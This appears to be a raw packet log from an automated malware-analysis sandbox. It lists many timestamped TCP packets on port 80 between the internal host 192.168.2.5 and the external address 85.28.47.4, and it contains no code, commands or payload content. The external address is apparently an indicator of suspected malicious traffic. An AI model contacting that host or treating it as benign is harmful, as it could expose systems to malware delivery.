Jun 28, 2024 13:36:06.000864983 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:06.000876904 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:06.000886917 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:06.000897884 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:06.000907898 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:06.000912905 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:36:06.000919104 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:06.000947952 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:36:06.000978947 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:36:06.002983093 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:06.003043890 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:06.003046036 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:36:06.003055096 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:06.003079891 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:06.003089905 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:06.003092051 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:36:06.003101110 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:06.003112078 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:36:06.003112078 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:06.003130913 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:36:06.003163099 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:36:06.003278971 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:06.003288984 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:06.003298998 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:06.003310919 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:06.003320932 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:06.003330946 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:06.003331900 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:36:06.003340960 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:06.003351927 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:06.003353119 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:36:06.003362894 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:06.003382921 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:36:06.003417969 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:36:06.003447056 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:06.003458023 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:06.003468990 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:06.003488064 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:36:06.003519058 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:36:06.003690004 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:06.003700972 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:06.003710032 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:06.003720999 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:06.003731966 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:06.003736973 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:36:06.003741980 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:06.003752947 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:06.003755093 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:36:06.003762960 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:06.003772974 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:06.003782988 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:06.003789902 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:36:06.003793001 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:06.003803968 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:06.003813982 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:06.003823996 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:06.003825903 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:36:06.003835917 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:06.003845930 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:36:06.003868103 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:36:06.003886938 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:36:06.102847099 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:06.102861881 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:06.102873087 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:06.102886915 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:06.102897882 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:06.102907896 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:06.102917910 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:06.102957964 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:36:06.103005886 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:36:06.103028059 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:06.103039980 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:06.103049994 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:06.103060007 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:06.103070021 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:06.103079081 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:06.103080034 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:36:06.103090048 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:06.103099108 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:06.103104115 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:36:06.103108883 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:06.103126049 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:36:06.103131056 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:06.103147984 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:06.103157043 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:36:06.103157997 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:06.103168011 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:06.103183031 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:06.103188992 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:36:06.103193998 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:06.103204012 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:06.103213072 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:06.103214979 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:36:06.103224039 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:06.103234053 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:06.103243113 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:06.103255033 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:06.103262901 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:36:06.103287935 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:36:06.103303909 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:06.103303909 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:36:06.103315115 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:06.103324890 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:06.103336096 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:06.103346109 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:06.103348017 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:36:06.103355885 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:06.103367090 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:36:06.103368044 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:06.103379011 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:06.103395939 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:06.103408098 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:36:06.103425980 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:36:06.103626966 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:06.103637934 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:06.103646994 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:06.103657961 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:06.103672028 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:06.103677988 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:36:06.103696108 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:36:06.103703022 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:06.103713989 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:06.103724003 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:06.103724957 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:36:06.103734016 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:06.103744030 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:06.103754997 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:06.103760004 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:36:06.103765011 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:06.103775978 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:06.103786945 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:06.103794098 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:36:06.103799105 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:06.103810072 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:06.103820086 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:36:06.103821039 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:06.103832006 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:06.103843927 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:36:06.103878975 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:36:06.147114992 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:36:06.153147936 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:06.332278013 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:06.332303047 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:06.332319021 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:06.332328081 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:06.332336903 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:06.332345963 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:06.332355976 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:06.332364082 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:36:06.332411051 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:36:06.332464933 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:06.332474947 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:06.332493067 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:06.332515001 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:06.332525015 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:06.332534075 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:06.332535028 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:36:06.332535028 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:36:06.332544088 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:06.332554102 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:06.332564116 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:06.332572937 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:36:06.332612038 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:36:06.332720041 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:06.332730055 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:06.332739115 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:06.332748890 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:06.332758904 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:06.332772017 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:36:06.332799911 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:36:06.332823992 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:36:06.332854986 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:06.332878113 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:06.332887888 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:06.332897902 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:06.332906961 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:36:06.332907915 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:06.332918882 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:06.332926989 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:36:06.332928896 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:06.332940102 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:06.332948923 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:06.332958937 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:06.332967997 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:06.332977057 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:06.332983017 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:36:06.332983017 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:36:06.332988024 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:06.332998991 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:06.333007097 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:36:06.333568096 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:06.333579063 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:06.333587885 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:06.333597898 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:06.333607912 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:06.333615065 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:36:06.333615065 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:36:06.333615065 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:36:06.333617926 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:06.333628893 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:06.333637953 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:06.333652973 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:06.333662987 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:06.333662987 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:36:06.333673954 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:06.333689928 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:36:06.333697081 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:06.333707094 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:06.333709955 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:36:06.333718061 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:06.333726883 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:36:06.333728075 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:06.333739042 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:06.333750010 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:06.333760023 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:06.333762884 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:36:06.333770037 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:06.333779097 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:06.333789110 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:06.333802938 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:36:06.333822966 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:36:06.333847046 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:06.333869934 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:06.333879948 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:06.333889008 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:06.333894968 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:36:06.333899021 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:06.333909035 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:06.333919048 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:06.333930016 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:06.333933115 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:36:06.333939075 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:06.333950043 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:06.333961010 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:06.333971024 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:06.333975077 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:36:06.333981991 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:06.333992958 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:06.333997965 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:36:06.334018946 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:36:06.334039927 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:36:06.334311962 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:06.334322929 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:06.334331989 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:06.334342003 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:06.334352016 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:06.334359884 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:36:06.334362030 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:06.334378958 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:36:06.334423065 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:36:06.334436893 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:06.334448099 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:06.334456921 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:06.334462881 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:06.334471941 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:06.334481955 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:06.334486961 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:06.334492922 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:06.334502935 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:06.334513903 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:06.334516048 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:36:06.334525108 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:06.334552050 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:36:06.334558964 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:06.334569931 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:06.334578991 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:06.334589958 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:06.334599972 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:06.334619999 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:06.334621906 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:36:06.334623098 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:36:06.334623098 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:36:06.334636927 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:06.334646940 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:06.334646940 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:36:06.334656954 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:06.334667921 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:06.334677935 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:06.334687948 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:06.334693909 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:36:06.334698915 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:06.334709883 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:06.334719896 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:06.334719896 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:36:06.334731102 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:06.334739923 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:36:06.334774017 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:36:06.334794044 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:36:06.335272074 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:06.335283041 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:06.335293055 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:06.335302114 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:06.335310936 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:06.335314989 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:36:06.335319996 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:06.335331917 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:06.335333109 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:36:06.335340977 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:06.335351944 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:06.335361958 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:06.335378885 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:36:06.335417032 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:36:06.335417032 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:36:06.419526100 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:06.419548035 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:06.419558048 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:06.419568062 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:06.419579029 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:06.419615030 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:06.419625044 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:06.419625998 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:36:06.419636011 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:06.419646025 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:06.419657946 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:06.419689894 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:36:06.419718981 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:36:06.419759035 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:06.419769049 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:06.419779062 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:06.419790983 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:06.419801950 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:36:06.419852018 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:36:06.419933081 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:06.419944048 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:06.419954062 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:06.419964075 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:06.419974089 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:06.419984102 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:06.419991016 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:36:06.419992924 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:06.420003891 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:06.420013905 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:06.420016050 CEST	49705	80	192.168.2.5	85.28.47.4
